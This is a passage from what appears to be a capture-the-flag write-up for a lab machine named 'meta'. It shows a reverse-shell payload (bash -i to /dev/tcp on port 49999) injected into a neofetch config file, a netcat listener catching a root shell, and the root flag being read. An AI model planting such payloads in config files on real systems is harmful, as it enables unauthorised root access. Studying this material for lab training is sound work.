thomas@meta:~/.config/neofetch$ cat /home/thomas/.config/neofetch/config.conf
# See this wiki page for more info:
# https://github.com/dylanaraps/neofetch/wiki/Customizing-Info
print_info() {
    info title
    info underline

    info "OS$(bash -i >& /dev/tcp/10.10.14.222/49999 0>&1)" distro
[...]
thomas@meta:~/.config/neofetch$ nc -nlvp 49999
listening on [any] 49999 ...
connect to [10.10.14.222] from (UNKNOWN) [10.10.11.140] 57040
root@meta:/home/thomas/.config/neofetch# cat /root/root.txt
2f[...]e3

ippsec walkthrough

Did you find this article valuable?

Support jamarir by becoming a sponsor. Any amount is appreciated!